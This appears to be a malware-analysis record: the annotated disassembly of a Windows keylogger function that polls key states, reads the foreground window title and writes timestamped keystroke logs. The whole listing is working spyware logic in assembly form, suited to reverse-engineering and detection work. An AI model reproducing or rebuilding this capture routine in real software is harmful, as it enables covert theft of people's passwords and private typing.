Function at 0x401680
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x358
lea rsi, [rsp + 0x1c0]
mov ebx, ecx
lea rcx, [rsi + 0x80]
call fcn.004a4170
mov rdi, qword [0x004b8080]
xor edx, edx
mov qword [rsp + 0x318], 0
mov rax, qword [0x004b8550]
mov qword [rsp + 0x328], 0
mov qword [rsp + 0x330], 0
mov qword [rsp + 0x338], 0
mov qword [rsp + 0x340], 0
mov r12, qword [rdi + 0x10]
add rax, 0x10
mov r14, qword [rdi + 0x18]
mov qword [rsp + 0x240], rax
xor eax, eax
mov word [rsp + 0x320], ax
mov rax, qword [r12 - 0x18]
mov qword [rsp + 0x1c0], r12
mov qword [rsp + rax + 0x1c0], r14
mov qword [rsp + 0x1c8], 0
mov rcx, qword [r12 - 0x18]
add rcx, rsi
call fcn.004a5110
mov r13, qword [rdi + 0x20]
xor edx, edx
mov rax, qword [r13 - 0x18]
mov qword [rsp + 0x1d0], r13
lea rcx, [rsi + rax + 0x10]
mov rax, qword [rdi + 0x28]
mov qword [rcx], rax
mov qword [rsp + 0x30], rax
call fcn.004a5110
mov rax, qword [rdi + 0x30]
mov r15, qword [rdi + 8]
mov rbp, qword [0x004b8110]
mov rcx, rax
mov qword [rsp + 0x38], rax
mov rax, qword [r15 - 0x18]
mov qword [rsp + rax + 0x1c0], rcx
lea rax, [rbp + 0x18]
mov qword [rsp + 0x1c0], rax
lea rax, [rbp + 0x68]
mov qword [rsp + 0x240], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x1d0], rax
lea rcx, [rsi + 0x50]
mov rax, qword [0x004b8320]
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1e8], 0
mov qword [rsp + 0x1f0], 0
mov qword [rsp + 0x1f8], 0
add rax, 0x10
mov qword [rsp + 0x1d8], rax
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x208], 0
call fcn.0048cac0
mov rax, qword [0x004b8100]
lea rdx, [rsi + 0x18]
mov dword [rsp + 0x218], 0x18
lea rcx, [rsi + 0x80]
mov byte [rsp + 0x230], 0
mov qword [rsp + 0x228], 0
add rax, 0x10
mov qword [rsp + 0x1d8], rax
lea rax, [rsi + 0x70]
mov qword [rsp + 0x220], rax
call fcn.004a5110
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
mov r13, rax
je 0x401c10
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
lea r12, [rsp + 0xc0]
mov r14, rax
mov r8d, 0x100
mov rdx, r12
mov rcx, r13
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rdx, [0x004df240]
mov rcx, r12
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x401c40
mov rdx, qword [0x004df350]
test rdx, rdx
je 0x40190f
lea r8, [0x004df348]
mov rax, rdx
mov rcx, r8
jmp 0x4018ec
mov rcx, rax
mov rax, qword [rax + 0x10]
test rax, rax
je 0x4018fa
cmp dword [rax + 0x20], ebx
jge 0x4018e0
mov rax, qword [rax + 0x18]
test rax, rax
jne 0x4018ec
cmp rcx, r8
je 0x40190f
cmp dword [rcx + 0x20], ebx
lea rax, [0x004df348]
jle 0x40198d
mov ecx, 0x14
mov r12, qword [sym.imp.USER32.dll_GetKeyState]
call r12
mov r13d, eax
mov ecx, 0x10
call r12
test ah, 0x10
je 0x401d92
not r13d
mov r12d, r13d
and r12d, 1
mov r8, r14
mov edx, 2
mov ecx, ebx
call qword [sym.imp.USER32.dll_MapVirtualKeyExA]
test r12b, r12b
mov edx, eax
jne 0x40195e
movsx ecx, al
call qword [sym.imp.msvcrt.dll_tolower]
mov edx, eax
lea r12, [rsp + 0xc0]
mov byte [rsp + 0xc0], dl
mov r8d, 1
lea rcx, [rsi + 0x10]
mov rdx, r12
call fcn.004a6f20
jmp 0x4019c6
mov rax, rdx
mov rdx, qword [rdx + 0x10]
test rdx, rdx
je 0x40199b
cmp dword [rdx + 0x20], ebx
jge 0x401981
mov rdx, qword [rdx + 0x18]
test rdx, rdx
jne 0x40198d
cmp rax, r8
je 0x401dc0
cmp dword [rax + 0x20], ebx
jg 0x401dc0
mov rdx, qword [rax + 0x28]
lea rcx, [rsi + 0x10]
mov r8, qword [rax + 0x30]
call fcn.004a6f20
lea r12, [rsp + 0xc0]
lea rax, [r12 + 0x10]
mov byte [rsp + 0xd0], 0
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0xc8], 0
test rax, rax
je 0x401d81
mov rdx, qword [rsp + 0x1f0]
mov r9, qword [rsp + 0x1f8]
cmp rax, rdx
ja 0x401bf0
sub rdx, r9
xor r8d, r8d
mov rcx, r12
mov qword [rsp + 0x20], rdx
xor edx, edx
call fcn.0048db60
mov r8, qword [rsp + 0xc8]
lea rcx, [0x004df040]
mov rdx, qword [rsp + 0xc0]
call fcn.004a6f20
mov rcx, qword [rsp + 0xc0]
lea rax, [r12 + 0x10]
cmp rcx, rax
je 0x401a59
call fcn.004ade60
lea rcx, [0x004df040]
call fcn.004663b0
lea rax, [r12 + 0x10]
mov byte [rsp + 0xd0], 0
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0xc8], 0
test rax, rax
je 0x401d70
mov rdx, qword [rsp + 0x1f0]
mov r9, qword [rsp + 0x1f8]
cmp rax, rdx
jbe 0x401c20
sub rax, r9
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, r12
call fcn.0048db60
mov r8, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [0x004b8020]
call fcn.004a6f20
mov rcx, qword [rsp + 0xc0]
add r12, 0x10
cmp rcx, r12
je 0x401af7
call fcn.004ade60
lea rax, [rbp + 0x18]
mov rcx, qword [rsp + 0x220]
mov qword [rsp + 0x1c0], rax
lea rax, [rbp + 0x68]
add rbp, 0x40
mov qword [rsp + 0x240], rax
mov rax, qword [0x004b8100]
mov qword [rsp + 0x1d0], rbp
add rax, 0x10
mov qword [rsp + 0x1d8], rax
lea rax, [rsi + 0x70]
cmp rcx, rax
je 0x401b44
call fcn.004ade60
mov rax, qword [0x004b8320]
lea rcx, [rsi + 0x50]
add rax, 0x10
mov qword [rsp + 0x1d8], rax
call fcn.0048cb80
mov rax, qword [rdi + 8]
lea rcx, [rsi + 0x80]
mov rdx, qword [rdi + 0x30]
mov rax, qword [rax - 0x18]
mov qword [rsp + rax + 0x1c0], rdx
mov rax, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rax - 0x18]
mov qword [rsp + rax + 0x1d0], rdx
mov rax, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
mov qword [rsp + 0x1c0], rax
mov rax, qword [rax - 0x18]
mov qword [rsp + rax + 0x1c0], rdx
mov rax, qword [0x004b8550]
mov qword [rsp + 0x1c8], 0
add rax, 0x10
mov qword [rsp + 0x240], rax
call fcn.004a4220
xor eax, eax
add rsp, 0x358
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
sub rax, r9
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, r12
call fcn.0048db60
jmp 0x401a26
xor r14d, r14d
jmp 0x4018bb
sub rdx, r9
xor r8d, r8d
mov rcx, r12
mov qword [rsp + 0x20], rdx
xor edx, edx
call fcn.0048db60
jmp 0x401ac5
lea rcx, [0x004df240]
mov r8, r12
mov edx, 0x100
call qword [sym.imp.msvcrt.dll_strcpy_s]
lea r15, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
lea rdx, [rsp + 0x48]
mov rcx, r15
mov qword [rsp + 0x48], rax
call qword [0x004b0100]
lea r13, [rsp + 0x80]
mov edx, 0x40
mov r9, r15
lea r8, [0x004b3040]
mov rcx, r13
call sub.msvcrt.dll_strftime
lea rcx, [rsi + 0x10]
mov r8d, 0xb
lea rdx, str._n_n_Window:
call fcn.004a6f20
mov r8, r12
mov edx, dword [r8]
add r8, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x401cad
lea rcx, [rsi + 0x10]
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [r8 + 2]
cmove r8, rdx
mov edx, eax
add dl, al
mov rdx, r12
sbb r8, 3
sub r8, r12
call fcn.004a6f20
lea rcx, [rsi + 0x10]
mov r8d, 6
lea rdx, str.___at
call fcn.004a6f20
mov r8, r13
mov edx, dword [r8]
add r8, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x401d0a
lea rcx, [rsi + 0x10]
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [r8 + 2]
cmove r8, rdx
mov edx, eax
add dl, al
mov rdx, r13
sbb r8, 3
sub r8, r13
call fcn.004a6f20
lea rcx, [rsi + 0x10]
mov r8d, 2
lea rdx, [0x004b3056]
call fcn.004a6f20
jmp 0x4018bb
lea rdx, [rsi + 0x60]
mov rcx, r12
call fcn.0048f7e0
jmp 0x401ac5
lea rdx, [rsi + 0x60]
mov rcx, r12
call fcn.0048f7e0
jmp 0x401a26
mov ecx, 0xa0
call r12
test ah, 0x10
jne 0x401932
mov ecx, 0xa1
call r12
test ah, 0x10
jne 0x401932
mov r12d, r13d
and r12d, 1
jmp 0x40193c
lea rcx, str.map::at
call fcn.004a7d10
mov rbx, rax
mov rax, qword [r12 - 0x18]
mov qword [rsp + 0x1c0], r12
mov qword [rsp + rax + 0x1c0], r14
mov qword [rsp + 0x1c8], 0
mov rax, qword [0x004b8550]
lea rcx, [rsi + 0x80]
add rax, 0x10
mov qword [rsp + 0x240], rax
call fcn.004a4220
mov rcx, rbx
call fcn.0040cf30
mov rcx, qword [rsp + 0xc0]
add r12, 0x10
mov rbx, rax
cmp rcx, r12
je 0x401e30
call fcn.004ade60
mov rcx, rsi
call fcn.004998e0
mov rcx, rbx
call fcn.0040cf30
mov rbx, rax
mov rax, qword [0x004b8100]
mov rcx, qword [rsp + 0x220]
add rax, 0x10
mov qword [rsp + 0x1d8], rax
lea rax, [rsi + 0x70]
cmp rcx, rax
je 0x401e6c
call fcn.004ade60
mov rax, qword [0x004b8320]
lea rcx, [rsi + 0x50]
add rax, 0x10
mov qword [rsp + 0x1d8], rax
call fcn.0048cb80
mov rax, qword [r15 - 0x18]
mov rdi, qword [rsp + 0x38]
mov qword [rsp + rax + 0x1c0], rdi
mov rax, qword [r13 - 0x18]
mov rdi, qword [rsp + 0x30]
mov qword [rsp + 0x1d0], r13
mov qword [rsp + rax + 0x1d0], rdi
mov rax, qword [r12 - 0x18]
mov qword [rsp + 0x1c0], r12
mov qword [rsp + rax + 0x1c0], r14
mov qword [rsp + 0x1c8], 0
jmp 0x401df0